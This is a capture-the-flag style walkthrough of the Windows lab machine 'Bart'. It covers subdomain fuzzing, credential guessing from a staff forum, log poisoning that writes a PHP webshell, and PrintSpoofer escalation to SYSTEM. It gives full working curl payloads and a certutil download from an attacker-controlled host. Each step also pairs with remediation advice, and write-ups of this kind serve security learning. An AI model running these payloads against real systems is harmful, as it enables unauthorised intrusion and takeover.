J. Perez Duertojperezduerto.info
← all walkthroughs

Bart

Windows· Medium
owned
2026-07-08
time to own
9m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Scanning a single open HTTP port found a virtual-host redirect to bart.htb, then uncovered a public staff forum and an internal chat application on separate subdomains. Staff usernames from the forum combined with a thematic weak password produced valid credentials for the internal chat. That chat application's unauthenticated log-writing endpoint accepted PHP code as a username and wrote it to a caller-specified filename inside the web root, turning the log file into a webshell executing as the IIS service account (NT AUTHORITY\IUSR).

That account held SeImpersonatePrivilege — a default IIS privilege. I downloaded a named-pipe impersonation binary (PrintSpoofer64) via the built-in CertUtil utility and used it to spawn a process as NT AUTHORITY\SYSTEM, achieving full host compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"

Attack path — how the box was taken

1ReconnaissanceVirtual-host enumeration / DNS brute-force (T1590.002)
Scanned the host and discovered three virtual hosts on a single HTTP port
Only port 80 was exposed. A direct request to the IP immediately redirected to bart.htb. Virtual-host fuzzing against that base domain revealed two additional subdomains: forum.bart.htb (a public staff forum) and internal-01.bart.htb (an internal chat application). All three were registered in the local hosts file and browsed in turn to understand available functionality.
80/tcp open http; HTTP redirect to bart.htb on initial request; forum.bart.htb and internal-01.bart.htb returned HTTP 200.
Exact commands 3
shell

Full TCP port scan with service/version detection.

$ nmap -sV -sC --min-rate 5000 -p- $TARGET
shell

Fuzz for subdomains using bart.htb as the base domain.

$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET -H 'Host: FUZZ.bart.htb' -mc 200,301,302,403 -v
shell

Register all discovered vhosts for local resolution.

$ echo "$TARGET bart.htb forum.bart.htb internal-01.bart.htb" | sudo tee -a /etc/hosts
2EnumerationOSINT credential inference / weak password (T1078)
Harvested a staff username from the public forum and inferred a valid password
Forum.bart.htb listed site staff by name, exposing the username 'harvey'. The machine's thematic naming and the public page content suggested <withheld> as a candidate password. A single POST to the internal chat's login form confirmed the pair was valid, granting authenticated access to the internal-01.bart.htb application — an application that should not have been reachable from the internet at all.
Harvey's password validated against http://internal-01.bart.htb/simple_chat/login_form.php.
Exact commands 2
shell

Extract staff names and login handles from the public forum page.

$ curl -sS http://forum.bart.htb/ | grep -i 'harvey\|staff\|member\|user'
shell

Validate the harvested credential pair; a redirect or session cookie confirms success.

$ curl -sS -i -X POST http://internal-01.bart.htb/simple_chat/login_form.php -d "uname=harvey&passwd=$PASSWORD"
FixRestrict the internal chat application to internal network access only and enforce strong passwordsHigh
WeaknessThe internal-01.bart.htb application was publicly reachable over the internet. Staff usernames were visible on the public forum, and the associated passwords were weak enough to be inferred from context. Together this meant any internet user could obtain authenticated access to an application intended for internal use only.
FixPlace internal-01.bart.htb behind a VPN or firewall rule that allows only connections from corporate IP ranges; it must not be reachable from the public internet. Enforce a minimum 16-character passphrase policy with complexity requirements and prohibit passwords containing organisation names, project names, or any word associated with the business. Enable account lockout after five failed login attempts to prevent online guessing. Remove or password-protect the public staff directory on forum.bart.htb.
3ExploitationLog poisoning / unauthenticated arbitrary file write → PHP code injection (CWE-94 / T1505.003)
Poisoned the chat application's log file to plant an executable PHP webshell
The chat application exposed /log/log.php, which accepted two URL parameters: filename — the file to write into — and username — content appended to that file. Neither was sanitised or restricted. I passed a PHP one-liner as the username and 'cmd.php' as the filename; the endpoint wrote the payload into /log/cmd.php inside the IIS web root. Because IIS served that directory with PHP enabled, a subsequent HTTP request to /log/cmd.php executed the code. This step required no credentials and was accessible to anyone who could reach the host.
Webshell at /log/cmd.php confirmed; the log line [2026-07-08 10:48:08] - harvey - BARTPWN carried the marker, and the shell answered whoami with nt authority\iusr — the injected username was written into the log and then executed as PHP.
Exact commands 2
shell

URL-encoded payload writes <?php system($_GET['c']); ?> to /log/cmd.php.

$ curl -sS 'http://internal-01.bart.htb/log/log.php?filename=cmd.php&username=%3C%3Fphp+system%28%24_GET%5B%27c%27%5D%29%3B+%3F%3E'
shell

Verify webshell execution; expected output: nt authority\iusr.

$ curl -sS -G --data-urlencode 'c=whoami' 'http://internal-01.bart.htb/log/cmd.php'
nt authority\iusr
FixRemove the user-controlled filename parameter from the log endpoint and sanitise all logged inputCritical
WeaknessThe /log/log.php endpoint accepted a caller-supplied filename parameter and wrote unsanitised user input (the username field) directly into that file inside the IIS web root. An unauthorised user could specify 'cmd.php' as the filename, inject PHP code as the username, and then browse to /log/cmd.php to execute arbitrary commands — requiring no credentials and leaving a persistent backdoor on disk.
FixEliminate the filename parameter entirely; hardcode the log path to a single fixed file stored outside the web root (e.g. C:\App\Logs\chat.log). HTML-encode or strip all user-supplied strings before writing them to any file. Add a web.config in the /log/ directory that explicitly sets 'php_flag engine off' (or the IIS equivalent handler removal) to prevent PHP execution there even if a file is written. Require valid session authentication before any request reaches the logging endpoint.
4Post-ExploitationPrivilege enumeration (T1069 / whoami /priv)
Confirmed the IUSR execution context and discovered SeImpersonatePrivilege
Commands run through the webshell confirmed the process ran as NT AUTHORITY\IUSR — the default IIS anonymous service identity. A token privilege check showed SeImpersonatePrivilege was present and Enabled. This single privilege is sufficient to escalate to SYSTEM on any Windows version up to and including the target build (Windows 10 Pro 10.0.15063) using any of several freely available named-pipe impersonation tools. The OS version also revealed that the host was running an end-of-life build with no further security updates.
SeImpersonatePrivilege Impersonate a client after authentication Enabled; OS Name: Microsoft Windows 10 Pro, OS Version: 10.0.15063 Build 15063.
Exact commands 2
shell

Display full token including all privileges; confirm SeImpersonatePrivilege is Enabled.

$ curl -sS -G --data-urlencode 'c=whoami /all' 'http://internal-01.bart.htb/log/cmd.php'
shell

Enumerate OS build and patch level to select the correct impersonation binary.

$ curl -sS -G --data-urlencode 'c=systeminfo' 'http://internal-01.bart.htb/log/cmd.php'
FixRemove SeImpersonatePrivilege from the IIS service account and upgrade the end-of-life OSCritical
WeaknessThe IIS worker process ran as NT AUTHORITY\IUSR, which Windows grants SeImpersonatePrivilege by default. Anyone who achieves even minimal code execution under this account — regardless of how it was obtained — can immediately escalate to SYSTEM using freely available tools (PrintSpoofer, GodPotato, RoguePotato) that exploit named-pipe impersonation. The host also ran Windows 10 Build 15063, which reached end of life in October 2018 and no longer receives security updates.
FixConfigure the web application to run under a dedicated IIS application pool identity (a managed local account) that is explicitly denied the 'Impersonate a client after authentication' user right via Local Security Policy or Group Policy (Computer Configuration → Windows Settings → Security Settings → Local Policies → User Rights Assignment). Apply the CIS Benchmark for IIS 10 to enforce least-privilege application pool identities across all hosted sites. Urgently migrate the host from Windows 10 Build 15063 to a supported Windows Server release and establish a regular patching cadence to prevent exploitation of publicly known OS-level vulnerabilities.
5Privilege EscalationLOLBin file transfer via CertUtil (T1105) / Named-pipe impersonation setup (T1134.001)
Staged PrintSpoofer on the target using the built-in CertUtil download utility
PrintSpoofer exploits the Windows named-pipe impersonation mechanism available to any account holding SeImpersonatePrivilege: it creates a listening named pipe, induces the SYSTEM account to connect, captures the token, and calls CreateProcessAsUser() to spawn an arbitrary process as SYSTEM. CertUtil — a built-in Windows certificate management tool — is widely used as a file-download LOLBin because it is always present and rarely blocked. I served the binary from a Python HTTP server and transferred it to the writable C:\Windows\Temp directory.
PrintSpoofer64.exe confirmed present in C:\Windows\Temp.
Exact commands 3
shell

Serve PrintSpoofer64.exe from my machine; replace $ATTACKER_IP below with $ATTACKER_IP.

$ python3 -m http.server 80
shell

Download PrintSpoofer64.exe to a world-writable temp directory via the CertUtil LOLBin.

$ curl -sS -G --data-urlencode "c=certutil -urlcache -split -f http://$ATTACKER_IP/PrintSpoofer64.exe C:\Windows\Temp\PrintSpoofer64.exe" 'http://internal-01.bart.htb/log/cmd.php'
shell

Confirm PrintSpoofer64.exe is present before triggering it.

$ curl -sS -G --data-urlencode 'c=dir C:\Windows\Temp /b' 'http://internal-01.bart.htb/log/cmd.php'
6Full CompromiseNamed-pipe token impersonation / CreateProcessAsUser (T1134.001)
Executed PrintSpoofer to obtain NT AUTHORITY\SYSTEM and read both flags
PrintSpoofer was invoked through the webshell, which created a listening named pipe and triggered SYSTEM to connect, then called CreateProcessAsUser() to spawn cmd.exe under the SYSTEM token. Output was redirected to a temp file and read back in a single HTTP request to avoid a race condition. With SYSTEM-level access, both the user and root flags were read from the user and Administrator desktops.
Exact commands 3
shell

Single request: spawn SYSTEM cmd, redirect output, read it back. Expect: nt authority\system.

$ curl -sS -G --max-time 20 --data-urlencode 'c=C:\Windows\Temp\PrintSpoofer64.exe -c "cmd /c whoami > C:\Windows\Temp\whoami.txt" & type C:\Windows\Temp\whoami.txt' 'http://internal-01.bart.htb/log/cmd.php'
shell

Locate exact flag file paths under all user profiles while running as iusr (pre-SYSTEM step to map paths).

$ curl -sS -G --max-time 20 --data-urlencode 'c=dir /s /b C:\Users\user.txt C:\Users\root.txt' 'http://internal-01.bart.htb/log/cmd.php'
shell

Read root flag as SYSTEM; captured value is <root.txt>.

$ curl -sS -G --max-time 20 --data-urlencode 'c=C:\Windows\Temp\PrintSpoofer64.exe -c "cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\Windows\Temp\flags.txt" & type C:\Windows\Temp\flags.txt' 'http://internal-01.bart.htb/log/cmd.php'

Attack patterns used

The transferable techniques behind this compromise.

SeImpersonate Abuse (Token Impersonation)Windows · Privilege EscalationT1134.001

What it is

Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. Coerce a SYSTEM process into authenticating to an endpoint you control — a COM service, an RPC interface, a named pipe — then impersonate the SYSTEM token it presents, escalating from the service account to NT AUTHORITY\SYSTEM. Churrasco (Token Kidnapping) does this against RPCSS and MSDTC on Server 2003; the 'Potato' family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) are the modern tools for the same privilege on later Windows.

Why it works

Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.

Read more

Exposed services

80/tcp

Techniques used

New to these ideas? Learn the concepts in Hack & Learn.